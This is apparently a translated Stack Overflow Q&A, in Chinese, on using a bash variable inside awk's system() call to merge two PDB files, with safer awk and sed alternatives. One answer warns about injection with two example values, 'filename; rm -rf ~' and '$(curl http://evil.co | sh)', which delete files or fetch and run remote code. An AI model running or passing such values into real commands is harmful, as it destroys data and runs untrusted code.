awk：在 awk 腳本中使用 bash 變量

Question

下面的 bash 代碼結合了 awk 代碼以特殊方式融合 file1 和 file2，檢測到 file2 中的一些塊並插入 file1 中的所有字符串。

#!/bin/bash
# v 0.09 beta
file1=/usr/data/temp/data1.pdb
file2=/usr/data/temp/data2.pdb
# merge the both
awk -v file="${file1}" '/^ENDMDL$/ {system("cat file");}; {print}' "${results}"/"${file2} >> output.pdb

我不能在 awk 部分使用變量“file”的問題，它與 bash 中定義的 file1 有關

{system("cat file");}

否則，如果我在這里過去了 file1 的完整路徑，它運行良好

{system("cat /usr/data/temp/data1.pdb");}

我如何修復我的 awk 代碼以便能夠在那里直接使用 bash 變量？

Answer 1

字面意思（但邪惡、不安全）的答案

要回答您的字面問題：

awk -v insecure="filename" 'BEGIN { system("cat " insecure) }'

...將運行cat filename 。

但是，如果有人通過insecure="filename; rm -rf ~"或insecure='$(curl http://evil.co | sh)' ，那么您將度過非常糟糕的一天。

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正確答案

在 awk 的命令行上傳遞文件名，並檢查FNR以查看您正在讀取第一個文件還是后續文件。

Answer 2

使用 GNU awk 的readfile庫：

gawk -i readfile -v file1="$file1" 'BEGIN { file1_data = readfile(file1) }
        /^ENDMDL$/ { printf "%s", file1_data } 1' ...

或者，您可以使用while ((getline < file1) > 1)循環來獲取數據。

Answer 3

使用sed更容易

$ sed '/^ENDMDL$/r file1' file2

在標記之后插入 file1。

用 file1 內容替換標記行

$ sed -e '/^ENDMDL$/{r file1' -e 'd}' file2